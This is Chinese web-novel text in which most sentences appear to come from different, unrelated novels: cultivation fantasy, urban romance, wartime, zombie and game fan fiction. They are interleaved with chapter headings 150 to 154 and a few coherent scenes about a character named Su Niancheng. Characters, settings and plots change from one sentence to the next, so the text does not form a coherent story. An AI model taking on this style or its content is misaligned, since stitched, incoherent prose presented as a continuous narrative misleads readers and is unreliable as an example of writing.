只见该男子双眼细长、鹰钩鼻、嘴唇微薄,从面相来看,就会给人一种不舒服的感觉。 而且不但没有偷懒,一直干活之后,大家终于大致做完一起坐下的时候,李签提议收缩一楼二楼看着不是一回事。完全可以说走到楼梯口那里才是真正逛店,所以不如一楼什么都不做就做概念,二楼才是真正购物消费的平台。 就当她感觉到对方的呼吸像羽毛刮心一样柔软地扑在自己皮肤上时,突然听到门口有人开门。 当这些海盗的话说完之后,在场的这些人都傻眼了,要知道他们一个月能吃三五顿的干粮,这已经是相当不容易的事了,大唐的老百姓已经一天能吃一顿了,怪不得每次有人过去都会有收获。 第一百五十章 真相 一行人来来到树林,邵飞这才发现自己的车子已经被扬宏涛那些人打成了筛子,于是决定换车,并叫人把汽油加满。 而就在北城的顾念,得到这个消息是在晚上,她因为身体不适一整天昏昏欲睡,可能是昨天从c市赶回来时,路上吹了点风,有些低烧感冒。 但是试了几次之后,凌风发现这股力量十分的诡异,自己之前还从来没有见过这种力量。 但是龟皓之前的话犹如打开了凌风战斗的大门,他突然意识到,自己之前的很多战斗,实在是太拖沓了,藏底牌是好事,但是很多高手,他们往往藏底牌藏到自己的性命都丢了。 “隐私也很重要的好不好!”,想起上次那些路上对我指指点点的妹子们,还不是因为被偷拍了我和肖郁在一起的照片。 万博铭得看着二老,以免有什么意外,然而这样,就顾不上池晚那边了。 “花妈妈,你见外了!这是向当当应该做的事情。花前辈传我土遁术,就是为了今日的聚会。自从向当当学到了这门本事之后,闯过了不少险阻,我向当当还没有谢花前辈呢!”逍遥子笑道。 钟离说的很隐晦,但我听得出他的意思,治愈肖郁之法,唯有我体内的另一半阴玉。 唐易恒低声哼哼,把脸再次埋进了怀里的那本大册子里,也就是在此时,坐下来的佐宿翰才看清唐易恒怀里抱着的那本,是婚纱照片? 同时挫败队伍也会和其他战败队伍间竞争,最后简单评出各大军区之间的名次,前三甲,将会获得奖励,最后一名要是整体实力过差的话,将会受到惩罚,具体惩罚看上面的裁决。 会议上的人们分为了两派,一派以院长亚伦·格拉斯曼为主,不过他基本属于孤军奋战,要求聘用墨菲。 而无人防守的军营里,亚丹打开了一个又一个牢门,释放出了里面的囚犯。 他或许不是一个好人,但对于普通人来说,他干的事或许会是好事。 看着安雅哭成这个模样,柳叶有些于心不忍了,自己是不是做错了什么? 所以说要炸沉日军的出云号,除了水雷之外,还是使用航空军会更加见效果的。 抱着死马当活马医的心态,俞磊在内心中想着将灵气输入徽章。按照经验,俞磊感觉这个系统的使用方式可能就是这样。 王大牛指的自然是井上为夫,毕竟只有这么一位日本将军刚刚离开涿州城,而且以他的地位,也能知道此事,所以才公开提及此事。 由于她的面色苍白清瘦,她的睫毛就显得特别浓密,像个瓷娃娃。 不过还是先解决掉如何成功炸沉日军旗舰‘出云号’,比较实在和重要。 “竟然是艾泽拉斯,你们这些家伙,原来都是一伙的!”萨格拉斯的脑细胞或许之前在岩浆里给泡坏了,竟然在此刻有这般想法。 沉浸在三只丧尸完美配合战斗场面中的陈叶旋即被母体丧尸的哀嚎声拉回思绪,听着从防空隧道传来的暗夜乌鸦尖啸声以及由远及近的翅膀‘噗哧’声,一股恐慌感随即在心底蔓延开来。 “你不去法学院还真是屈才了,一口一个如实招来,要不就是老实交代的。”叶离笑笑,秦朗的车足够招风,为了不引人注意,她一定要他提前一个路口放她下车,没想到居然还是被李莉看到了。 下一刻,他猛然睁开了双眼,埃诺玛依看到他眼中放出的寒光,心中不由一惊。 “摘掉面罩,按顺序下车。”黑人军官拎着16后退着走下车厢,他必须和这些危险人物保持距离。 沐延昭要是会放任他盯了这些年,眼看着就能纳入囊中,将来要陪他过一辈子的红颜知己让别人给撬走,他也就不是沐延昭,干脆提前定下来。 陷入这般境地,还不知明日如何,沐延昭首先担心的却是自己的感情,若是让顾婉知道。肯定以为他的脑袋有毛病。 想了一下,又将龙族总圣子的令牌取出来,在信上面烙印了一下。 “什么毒?”猛虎一脸茫然地盯着傲雪工会五位MM从空间纳物戒中取出一个印有树叶标签的涂毒袋,忍不住问道。 “很好,”叶离点点头,秦朗对她该是很好的,每天除非去应酬,否者都和她同进同出,那种感觉真的很像一对平凡的夫妻,彼此依靠,彼此相伴,只是……有些事情不能奢求,她明白的,所以应该觉得满足。 再者说,科举又不是只有寒门子弟能够参加,大部分科举取士,取中的,还是世家子,这部分世家子弟辛辛苦苦,一层层选拔凭着自己的真本事考了上来,自然不甘愿取缔科举。 第一百五十一章 我需要冷静 “我需要一点时间。” 苏念橙打断他,抬起头,“我知道你是受害者,可那天早上的画面,我一时半会儿消化不了。” 越靳临沉默了。 江月站在旁边,低着头,肩膀还在抖。 苏念橙看了她一眼,“你先回去吧。” “行了,就你那眼睛,妖里妖气的,看的我都瘆得慌。”水榭仰头大笑出门去,今日的确心情大好,一扫往日的阴霾情绪。 砸游泳池的时候,这种短把的锤子显然用着不方便,但陈然却顾不得了,直接提着锤子和铁铲回到了游泳池这边。 “靠,这么说老子还成为唐僧肉了!”叶枫摸了摸鼻子,忍不住说了声。 “干嘛这么肯定?”林风听出了蓝玫瑰话中有话,当即笑着问道。 两人现在便是脱离了安王府,有这些钱与产业,后面几辈也绝对够用了,丁紫笑眯眯的清点着蓝青凌的身家,越看越是满意,现在看着蓝青凌,就好像看着一个金山似的,她还真是没挑错人。 天空中的咆哮声越来越大,道玄眉头暗暗一蹙,怎么今天的天气如此奇怪,就算是下雨打雷,也无需如此猛烈吧? “哥哥,不要闹我,不然我生气了???”夙柳柳砸吧了两下嘴巴,在鼻翼的上方挥了挥手,随即将身子转向了床榻的内侧。 片刻后,见到老人重新睁开眼睛,他这才把氧气罩挪开,夏老将军和那上将赶紧又把头凑了上来,老人努力的张开嘴轻轻的开了口。 当下三姑娘林馨便是昂头挺胸硬气了一般,林悠却是撇嘴剜了林馨一眼,去了她对面,也就是林熙的身前立着。 他可能还会有更大的麻烦,等等等等他,他会明白这一切是怎样的一个过程,他的心态真的会发生很大的。 不论对方如何求饶,,本杰明没有半点可怜的意思。既然都决定要为教会服务了,也该抱着必死的决心才对吧? 后来因为上田武在“炸鸡块大赛”上帮了他一把,让他渡过了难关。那件事结束之后,郑轲继续在这里打工,也有一部分原因是为了报恩。 而且,打个电话容易,但欠下的人情却不是一时半会儿就能还清的。所以,郑轲思考再三,最终还是将这种冲动忍了下来。 三日时间匆匆而逝,李青山在父母兄妹的不舍下,强忍泪珠,毅然决然跟随师傅吴鸣踏上了漫漫修行路。 这世界上的事情大多如此,想起来容易,做起来难,一个点子好想的很,许多创业者想到一个点子就觉得自己能拥有整个世界了,但是他们还不知道自己未来将要遇到什么困难。 袁松那个纠结,就好像被二十五个校花同时表白不知道选谁一样,简直是世纪纠结。 说真的,这个瘟疫消息的散布过程,主要还是这些法师自己完成的。本杰明在包围圈外面不停找人搭话,其实起不到多大的影响力。 600多米垂直绝壁对于任禾来说也是一次崭新的挑战尝试,更何况是无任禾保护措施的。 看了几张,陆凡脸上露出了微笑来,他已经知道天南策划公司的那只鬼是谁了。 她来审计局的时间不长,但多多少少也知道一些东西。很多时候审计条例规定的是一回事,实际运作起来又是一回事。 第一百五十二章 台风 蒙面人利用他们去与刘复交易,若是抬价成功了,他就能顺势跟来把茶树叶出手,反正元婴期可以随意进入低阶交易区域。若是失败或是闹崩了,反正都与他没有半点关系。 塞外秋风萧瑟,草原的草色已然发黄了。匈奴大帐内却传来了王莽和严尤的欢歌笑语。 他完全就是被人堵了门,逃是逃不掉的,打又打不过,难道今天真的要交代在这里? “哼,这一定是假象,我怎么可能会被你这个蝼蚁吓到!”马泽强作镇定,通过提高声音的方式来掩饰自己的心虚,但是他的额头上已经出现虚汗。 怕他不知道是啥给丢了,顾知夏特意从他桌子的稿纸上撕了一角下来,然后写了几个大字上去。 其它学生很是失望地转过了头,它们似乎并不像看到这个家伙上去。 “那是因为你没有遇到危险。”程停英俊的脸上,浓密轻皱,表情很认真。 他的想法其实是有道理的。但是,大单于确实没有料到如今的大汉早已经是豺狼当道了。 廖夫人和左氏兄弟更是惊诧得看向吴朗,三人皆是难以置信,匪夷所思的神色。 李东河给他留下的丹药不少,还能炼制六炉五品丹药,这么多的丹药,相信足够他在卧龙秘境呆上一段时间了。 他这两根狼牙巨棒名叫天狼双星,是他的随身法宝,传说乃是上古时期两只天狼战魂融合魔界血魔黑金锻造而成,杀伤力之大无与伦比,是比紫青双剑还要强势的超级杀器。 就这样,众人又行了一段路,终于走出了银雾森林。一走出这片银色的森林,众人便是立即感受到自己身子一轻,一直在众人体内游荡着的那股狂暴元素纷纷一扫而空。 不过王宝这时可就傻眼了,他刚才还以为,这个黑不溜秋的家伙是不识抬举居然敢惹上老子呢,不过现在,他可不再这么认为了。 怒天城中有着强大的守护力量,所以不管外面怎么乱,怒天城中都是一日既往的秩序井然。没有人敢在怒天城中撒野,特别是这种非常时期,城主府连颁数道法令,怒天城中禁止一切争斗,否则将被格杀。 月影自是不知他们在暗处的想法,直到她一头扎进了一个温暖的怀里,才惊觉自己有些傻过头了。 嘭!只听一声巨响之后,那银龙精魄竟是发出了一阵痛苦的吼声。 见到这几名活泼的侏儒族人,王辰也是心情颇好。当初自己刚出昊天门历练时,侏儒族人可以说是帮了自己不少忙。 勾芒圣地,洛兰月、洛兰星、黄千颜三个曾经的火云宫弟子聚在了一起,这么多年过去了,她们的修为还在化神第八阶。 终于,她的背接触到了柔软的‘床’榻,两人之间的距离稍稍拉开了一些。她尚来不及喘口气,某王上的眸光已经落在了她的‘胸’口处,他的衣袍落在她的‘胸’前,那白皙的起伏若隐若现。 我无语,要是九长老知道我在筑基秘境就悟出了“诛邪战法”,不知他会作何感想。 接下的会议费恒就是个旁观者,但是林将军始终没有让他离开,听他们商讨制定出一个个短期和长期目标。 这点,早在推算出计算模板的时候,跋锋寒就极为的清楚了,现在,不过是重新的呈现这个过程而已,他甚至会觉得,这个过程,真正的呈现,比计算有意义。 从赖天工定下这三关的规矩开始,到今天为止,还从未有一个弟子能够像是许半生这样完全没有遭受任何打击。毫发无损的走到这里。 吴泣神剑瞬间震颤千百次,一阵阵神灵泣诉,佛魔低吟的声音,从剑中诡异传出。 一照之下,二人方才发现,在此人的脑袋上还罩着一个古朴奇特的兽角盔,兽角盔的两只弯角应该是用真正的公牛角嵌上去的,显得奔放而又强悍。 如今黄河一号除去自己的实力外,最大的作用就是作为周天星斗大阵的核心,让这阵法完全挥作用。如果在黄河一号内部刻制万千道纹,正好与周天星斗大阵的道纹相呼应。毫无疑问,能够更大程度的挥周天星斗大阵的威力。 上官仁看似睡觉,其实注意力关注着整个森林。等他把注意力放在何其欢身上时,顿时气得从树上掉了下来。 以夜辰如此的实力,想要进入元磁风暴之中,利用充沛的元磁之力,淬炼自己,一举跨入十星蜕凡境,难度是相当的大,他估计危险性也不低。 朱弦轻咤一声,冷哼道:“你打得过我再说吧!”说话间,她缓缓的转过身来。 乌城大门大开,欧阳家重要人物一起出城,将一个满脸皱纹连五官都分不清楚的太乙金仙迎进了乌城。 基拉现在基本确定他们三个就是自然圣会的援兵了,毕竟到这里的脚印都如此难以通过过,到最后的时刻估计更难,所以请求援助来帮忙不是很合理么? 左正名只当仓九瑶在观察沙盘中的阵局,其实仓九瑶是在凝眉而思,内心的理性与感性在纠结。 仓洛尘嚼着桃子的嘴微张着有点发愣,方才越君正对自己那温润一笑,还有那带着……宠溺的语调,是怎么一回事? 第一百五十三章 给她备物资 苏念橙走过去,接过她手里的塑料布,“我来帮您弄。奶奶,您一个人在家,我不放心。” 老太太笑了,“有什么不放心的?我在这大院住了几十年,什么风没见过?” 但是一些人,不能够理解,因为对方二十二颗星星了,依旧还没有出现一颗大的,整片星空中,只有一颗大星星而已。这也就是说,对方这个时候居然还是在妙神境,这简直是台不可思议了。 “行了,你先看看吧!不要抱了!”定国公夫人看着他这左手也不是,右手也不是的模样,知道他现在有些激动的傻了,也不在意,还是自己着这个外孙吧。 明月楼内张灯结彩,到处洋溢着新年的气息。堂内贴着红底黄字条幅:四合堂景元二十二年总堂会。 显然对方也没有料到自己会如此的强悍,因此才会出现现在的这一个情况。 从高空俯瞰,以菱形六角高塔为中心,四面八方无穷无尽的金光在蔓延,而在震妖帝玄真庞大的身躯边上,虚空正大片大片扭曲坍塌。 将战场大军攻伐视若等闲,这就养成了诸侯国君的虎狼之气,得遇战机,往往扑食而上,有着杀伐决断的悍烈。 “把他放到里间的榻上去吧。”紫萦开口说道。“有病就治,不要让他死在我这里。治好了赶紧走!”紫萦虽然心里无比的抗拒周睿善,可是看到他这模样,紫萦的心还是难过的不行。 而且本身还具有这种程度的力量,并且还成功的将自己给砍伤了。 他们同样听说过秘境,而且也同样的知道,那秘境意味着什么,能够进入秘境,又意味着什么。 我陷入了沉思,原本想皱起眉头,但考虑到我经常皱起眉头会有难看的皱纹,就没继续皱眉了。 他骇然的发现,自己全身上下的窍穴,这时都如同被禁住了一般。灵气被锁于体脉之内,根本不能动作,只能倾听着白君仪的话。 更不要说他区区一个新进的谏议大夫,哪里来的那么多米麦赈济流民?这样放赈,也不曾上报中枢,也不是自常平仓调粮,那不就是以私财放赈,收买人心之举? 这城西偏南的几个坊,住得都不是什么好门第出身的,这堵砖墙立在这里,对比着周围夯土就碎砖、连瓦片都不全的低矮房子,实在有些突兀。魏野略想了一想,朝前转了一圈,恰好正绕到那堵看上去有点年头的矮墙后。 最后,还是越风劝住了两人,说他们的敌人根本不是彼此,这样下去不会有什么好结果。还说他们不要杀白若竹了?不要抓江奕淳回来了? 就在杨过不知该如何回答尹志平的话时,山脚下一道人影急掠着上山,嘴里的话音却犹如雷声般轰鸣着传了上来。 “所以你过来保护我,然后在必要时出手?”白若竹挑了挑眉毛问道。 那笑声一次响起,这个时候,我前方竟然出现了光亮,下意识中我连忙朝前面走去,却发现光亮的地方并不是婴啼谷,而是我来到了一个全新的环境里。 说话间明古体表显出一层白光便闪身冲入雷电之中,那些密密麻麻的电光击打在白光上眨眼又弹了回去。他脸上微微笑着便向洞窟下面飞去。 第一百五十四章 误会了 谢文彬看着她,犹豫了一下,“那……这些你拿着,万一不够用——” “真不用。”苏念橙笑着推了推他的胳膊,“你拿回去自己用。台风天不知道要持续多久,多备点总没错。” 谢文彬只好把东西收回来,“那行。你要是缺什么,随时跟我说。” 咦,怎么这么静?我心虚的转向瑶瑶,她的大眼睛咕碌碌的转来转去,表情十分忐忑。 “萧佑城他根本就不带诚意而来,不想跟他谈。”凌语柔决绝道。 虽没有见识过云长空的能耐,但从南宫墨云嘴里说出的人,自是十分了得的。 落雨目光定定的看着天机,淡淡的问:“水灵儿和欧阳离来这里干什么?”想起这镇上有他们的气息,落雨连呼吸都嫌弃了。 “二百两!”何当归豪爽地比出了两根指头,比完正面又比反面。 拾起血珠,洛天晴放在眼前仔细的观察起来,却是隐隐察觉到这血珠周围似乎弥漫着一股淡淡的青色气体,这气体的颜色与青石台阶的颜色极为接近,根本不易察觉。 面对着滔天火焰,阿云露出一抹狡笑,双掌一分,真气往前一压一吹,火焰竟全数被吹了回去,火焰打回骨龙身上,骨龙着着实实的被烧了一回。 百里堕月有些无奈的松开手,这人到底迟钝到什么地步才能发现他其实是一个有需求的正常的男人呢?! 本就是无根一浮萍,又何须这世上人牵挂,不过是赤条条来,赤条条去罢了。 神魂的疲惫在调养之中已经慢慢的恢复,体内也已经恢复如常。身体中的灵力更是充沛,洛天晴瞬间便感觉现在的状态不知道比之前好了多少倍。 当蓝头发家伙他们走到了大堂里面的时候,大堂周围的通道都突然一下子关上了,不过教主还在继续折磨着另一名祭献者,没有管他们。 邱灵的话不无道理,这空间本来就存在很多人类无法听到看到的电磁波、各类射线等,邱灵只是能感觉到一种普通人感觉不到的东西罢了。 “走吧!”我骑在一条变异海豚的背上,一拍它的后背,变异海豚尖鸣一声就驼着我朝码头急速游去。 此刻商梦琪也意识到了不对劲,但是浑身上下却是没有一丝的力气。 可李宁宇还在继续忙碌,一边通过作战参谋下令,一边规划接下来的事情。 吞天大帝大骇,要是吞噬的力量被吞噬掉的话,那么他就算是不死也要重伤,但是难道他还能不管血蝶,任由她攻击自己吗? 那梅子虽然被朱向军推倒在了地上。可是她并没有生气。还笑迷迷地看着朱向军。 雷厉看着眼前的景象不禁是皱起了眉头,风城此时看上去,满目疮痍。到处都是倒塌的房屋,到处都是战灵弹攻击过的景象,街道上也尽是碎石砖块。 但是在中途岛战役结束以后,各国也开始暗中发展科技,其中英美两国就在秘密的研发核武器,在知道这件事情以后,远东集团立即采取了必要的措施,那就是对英美两国进行必要的经济封锁。 北狩国还好一点,本来就和这五国联盟是敌对状态,国内留下了部分军队,早就时刻盯着的,此刻及时反应过来,退守重要的易守难攻星域,顿时抵挡住了五国联盟的进军。